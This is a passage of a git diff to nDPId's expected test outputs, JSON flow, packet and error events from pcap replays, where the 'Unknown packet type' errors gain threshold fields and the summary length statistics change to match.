-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":9064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":9065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033215504} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":9065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":9066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033215514} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":9066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":9067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033215524} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":9067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":9068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033215535} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":9068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":9069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033215544} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":9069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":9070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033215552} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":9070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":9071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033215560} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":9071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":9072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033215570} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":9072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":9073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033215579} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":9073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":9074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033215593} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":9074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":9075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033215605} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":9075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":9076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033215616} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":9076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":9077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244033215628} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":9077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAmxrZGE+TDxN"} 00809{"flow_event_id":9,"flow_event_name":"not-detected","thread_id":0,"packet_id":9077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244025609837,"flow_src_last_pkt_time":1534244025609837,"flow_dst_last_pkt_time":1534244025609837,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":8,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":8,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":8,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1534244033211391,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":16417,"dst_port":16419,"l4_proto":"tcp","ndpi": {"proto":"Unknown","proto_id":"0","encrypted":0,"breed":"Unrated"}} 00764{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244025609837,"flow_src_last_pkt_time":1534244025609837,"flow_dst_last_pkt_time":1534244025609837,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":8,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":8,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":8,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1534244033211391,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":16417,"dst_port":16419,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00807{"flow_event_id":9,"flow_event_name":"not-detected","thread_id":0,"packet_id":9077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":8,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244026825625,"flow_src_last_pkt_time":1534244026825625,"flow_dst_last_pkt_time":1534244026825625,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1534244033211391,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":9508,"dst_port":8995,"l4_proto":"tcp","ndpi": {"proto":"Unknown","proto_id":"0","encrypted":0,"breed":"Unrated"}} @@ -18212,7 +148,7 @@ 00764{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":9,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244027129094,"flow_src_last_pkt_time":1534244027129094,"flow_dst_last_pkt_time":1534244027129094,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":8,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":8,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":8,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1534244033211391,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":13617,"dst_port":10536,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00810{"flow_event_id":9,"flow_event_name":"not-detected","thread_id":0,"packet_id":9077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":22,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244031080090,"flow_src_last_pkt_time":1534244031080090,"flow_dst_last_pkt_time":1534244031080090,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":4,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":4,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":4,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1534244033211391,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":18258,"dst_port":16199,"l4_proto":"tcp","ndpi": {"proto":"Unknown","proto_id":"0","encrypted":0,"breed":"Unrated"}} 00765{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":22,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244031080090,"flow_src_last_pkt_time":1534244031080090,"flow_dst_last_pkt_time":1534244031080090,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":4,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":4,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":4,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1534244033211391,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":18258,"dst_port":16199,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} -00581{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":9077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","packets-captured":9077,"packets-processed":29,"total-skipped-flows":0,"total-l4-payload-len":80,"total-not-detected-flows":29,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":29,"total-idle-flows":29,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":18215,"global_ts_usec":1534244033215628} +00579{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":9077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","packets-captured":9077,"packets-processed":29,"total-skipped-flows":0,"total-l4-payload-len":80,"total-not-detected-flows":29,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":29,"total-idle-flows":29,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":151,"global_ts_usec":1534244033215628} ~~~~~~~~~~~~~~~~~~~~ SUMMARY ~~~~~~~~~~~~~~~~~~~~ ~~ packets captured/processed: 9077/29 ~~ skipped flows.............: 0 @@ -18225,6 +161,6 @@ ~~ total memory freed........: 6085086 bytes ~~ total allocations/frees...: 121796/121796 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 225 chars +~~ json string min len.......: 325 chars ~~ json string max len.......: 815 chars -~~ json string avg len.......: 520 chars +~~ json string avg len.......: 570 chars diff --git a/test/results/ipv6_in_gtp.pcap.out b/test/results/ipv6_in_gtp.pcap.out index 98ce7632e..525359ce6 100644 --- a/test/results/ipv6_in_gtp.pcap.out +++ b/test/results/ipv6_in_gtp.pcap.out @@ -1,9 +1,9 @@ 00491{"daemon_event_id":1,"daemon_event_name":"init","thread_id":0,"packet_id":0,"source":"ipv6_in_gtp.pcap","alias":"nDPId-test","max-flows-per-thread":2048,"max-idle-flows-per-thread":64,"reader-thread-count":1,"flow-scan-interval":10000000,"generic-max-idle-time":600000000,"icmp-max-idle-time":120000000,"udp-max-idle-time":180000000,"tcp-max-idle-time":3265032704,"max-packets-per-flow-to-send":3,"max-packets-per-flow-to-process":32,"max-packets-per-flow-to-analyse":32,"global_ts_usec":0} 00554{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":1,"source":"ipv6_in_gtp.pcap","alias":"nDPId-test","packets-captured":1,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":2,"global_ts_usec":1536839120404326} -00191{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1,"source":"ipv6_in_gtp.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1536839120404326} +00291{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1536839120404326,"packet_id":1,"source":"ipv6_in_gtp.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1536839120404326} 00483{"packet_event_id":1,"packet_event_name":"packet","packet_id":1,"source":"ipv6_in_gtp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":150,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":150,"pkt_l4_len":0,"thread_ts_usec":1536839120404326,"pkt":"AAAAAAACNLNUB8pWgQAMoYEAYAUIAEVoAIBoSQAA\/xHueQruUBoK7v5LCGgIaABsAAAw\/wBcEoCPuGAIuFIANBFAJgf8IEBSA55JCupNF\/7gnP0Al2q8Zxk+AAAAAAAAAAe\/4GQ6ADQ3SIBuFZfDWsIvMrWrNfP4Fx5OYe4CUCXgPs5ziPlz8hT\/27dLl2xtqJbPLkrE"} 00554{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":2,"source":"ipv6_in_gtp.pcap","alias":"nDPId-test","packets-captured":2,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":5,"global_ts_usec":1536840494424533} -00191{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2,"source":"ipv6_in_gtp.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1536840494424533} +00291{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1536840494424533,"packet_id":2,"source":"ipv6_in_gtp.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1536840494424533} 00506{"packet_event_id":1,"packet_event_name":"packet","packet_id":2,"source":"ipv6_in_gtp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":166,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":166,"pkt_l4_len":0,"thread_ts_usec":1536839120404326,"pkt":"AAAAAAABNLNUB8pVgQAMn4EAQAIIAEVYAJD2QgAA\/xGMPAruJFwK7v5NCGgIaAB8AAAw\/wBsB0wVsGANtkgARDJAKgEEyMAUFE4AAQAClFtnYSoBBMjwAA9JAAAAAAAAAAT\/O2YDAAAAQhlm1OFxgeTba50SyREjm3lFbPc9lgrLUcRYebJHYlYzSCeWv2L\/IjSAXfS1U+Rh4DDxR7yVXb8kOaI3Xg=="} 00556{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":2,"source":"ipv6_in_gtp.pcap","alias":"nDPId-test","packets-captured":2,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":8,"global_ts_usec":1536840494424533} ~~~~~~~~~~~~~~~~~~~~ SUMMARY ~~~~~~~~~~~~~~~~~~~~ @@ -18,6 +18,6 @@ ~~ total memory freed........: 6034017 bytes ~~ total allocations/frees...: 121477/121477 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 196 chars +~~ json string min len.......: 296 chars ~~ json string max len.......: 561 chars -~~ json string avg len.......: 377 chars +~~ json string avg len.......: 426 chars diff --git a/test/results/ja3_lots_of_cipher_suites.pcap.out b/test/results/ja3_lots_of_cipher_suites.pcap.out index e98b8d82b..f0ea21b64 100644 --- a/test/results/ja3_lots_of_cipher_suites.pcap.out +++ b/test/results/ja3_lots_of_cipher_suites.pcap.out @@ -1,26 +1,26 @@ 00505{"daemon_event_id":1,"daemon_event_name":"init","thread_id":0,"packet_id":0,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","max-flows-per-thread":2048,"max-idle-flows-per-thread":64,"reader-thread-count":1,"flow-scan-interval":10000000,"generic-max-idle-time":600000000,"icmp-max-idle-time":120000000,"udp-max-idle-time":180000000,"tcp-max-idle-time":3265032704,"max-packets-per-flow-to-send":3,"max-packets-per-flow-to-process":32,"max-packets-per-flow-to-analyse":32,"global_ts_usec":0} 00568{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":1,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","packets-captured":1,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":2,"global_ts_usec":1557818846743554} -00205{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846743554} +00305{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1557818846743554,"packet_id":1,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846743554} 00390{"packet_event_id":1,"packet_event_name":"packet","packet_id":1,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":74,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":74,"pkt_l4_len":0,"thread_ts_usec":1557818846743554,"pkt":"AAAAAAABsKp3tUhAgQAAXYEAAQIIAEUAADTDSUAAPwad0wrOgxIKzkH55SEBu84u1gAAAAAAgAJyEJdSAAACBAW0AQEEAgEDAwI="} -00205{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846744536} +00305{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1557818846744536,"packet_id":2,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846744536} 00390{"packet_event_id":1,"packet_event_name":"packet","packet_id":2,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":74,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":74,"pkt_l4_len":0,"thread_ts_usec":1557818846743554,"pkt":"AAAAAAABAAd9VAeAgQAAXYEAAQIIAEUAADQAAEAAPQZjHQrOQfkKzoMSAbvlIcEFrEzOLtYBgBI5CGLyAAACBAW0AQEEAgEDAwc="} -00205{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846771521} +00305{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1557818846771521,"packet_id":3,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846771521} 00382{"packet_event_id":1,"packet_event_name":"packet","packet_id":3,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":68,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"thread_ts_usec":1557818846743554,"pkt":"AAAAAAABsKp3tUhAgQAAXYEAAQIIAEUAACjDSkAAPwad3grOgxIKzkH55SEBu84u1gHBBaxNUBAchMBIAAAAAAAAAAA="} -00205{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":4,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846773036} +00305{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1557818846773036,"packet_id":4,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846773036} 01454{"packet_event_id":1,"packet_event_name":"packet","packet_id":4,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":866,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":866,"pkt_l4_len":0,"thread_ts_usec":1557818846743554,"pkt":"AAAAAAABsKp3tUhAgQAAXYEAAQIIAEUAA0zDS0AAPwaauQrOgxIKzkH55SEBu84u1gHBBaxNUBgchP+6AAAWAwMDHwEAAxsDA7MBwRcglDZhL6NP+OfprwtR2a2+EN2bALWxOtNOmOORAAK8AA8AxQCVwJHADcCrwH8AEQDDACXAhwCPAKvABMCZwEoAO8wU5BQAwcCbACbAaQCzALHAJACUAEMARcBlAD3AosBXAI3AEwAZABcAaeQbAGTACswV5BkApQApwD7AW8B0zBPAXAASwBfAhQAnABMAnQCZAAsAiQABACLAlcCBwAvAOcBmwCPkEwCHAG3AGMBjABrkEAA1wDAAKMB+wCAAOMCfACwAMcAvALUALsBfwG\/ALsCYAAMAmwACAC\/AP8AcAJfAKgC3AD7AgwCgwAcAhsAtwFIAkgAGwCEANABqADnAZAAMAGAAgMAdwIrAdsARwKUAhABBAAgArsAywHzARcCcALvATgA2ALwAYgC4AKjAfQAUAJYAkcBgwKfAVcBw5BYAQgBhwAXAPcBZwAkAaAC5wB8AZ8CeAGbAcsA2AKYAhQCwwFEAgsCQwDzkHsCgwBQAjgCT5B\/AqgCpAIHAqMBHAAQAEMADwFjApMAxAEvAFeQVAIgAvgCawAIArMA1wGcAScA4AAkALQC9wGHkHcBPAGvAOwBHABsAp8BQwJLAG8BaAEDAegAgAIMAo8BewEbAFsASAJDAEACfAK3AYsBtwIDAe8CIACsAnAANwCUAMMCWwCzAhMBsAAXATcBqwKHAGQCY5BfAVAAWAB7AKMB5wIbAmgBjwFbAjwBMwEzAncAzACPAa8ABAKrAdwCkAKHAeADEwCLAjsA6AD8AbABKwAgAMsCpADrAQAAHAMLANMCmwHHAGsCLAEYAPAAzAL\/AK8AnAKLAS8BTACTADsBIAETAHsBEAB\/kGMCNALoAtgC05BrABsBCwEnAQwCK5BIASAAKAIsANwAVAMAAnsCCwIzAJsAPAGUAjMCJwKPAcwAqwG7AXcBoACHAlwCywDfkHMApwJMAr8B1wEEAAAAOwAzAlOQRABgA\/wEAADYACgAGAAQAFwAYAA0AIAAeAgEDAQQBBQEGAQICAwIEAgUCBgICAwMDBAMFAwYDAAsABAMAAQI="} -00205{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":5,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846773618} +00305{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1557818846773618,"packet_id":5,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846773618} 00382{"packet_event_id":1,"packet_event_name":"packet","packet_id":5,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":68,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"thread_ts_usec":1557818846743554,"pkt":"AAAAAAABAAd9VAeAgQAAXYEAAQIIAEUAACjoA0AAPQZ7JQrOQfkKzoMSAbvlIcEFrE3OLtklUBAAf9kpAAAAAAAAAAA="} -00205{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":6,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1557818846909855} +00305{"error_event_id":5,"error_event_name":"Unknown packet 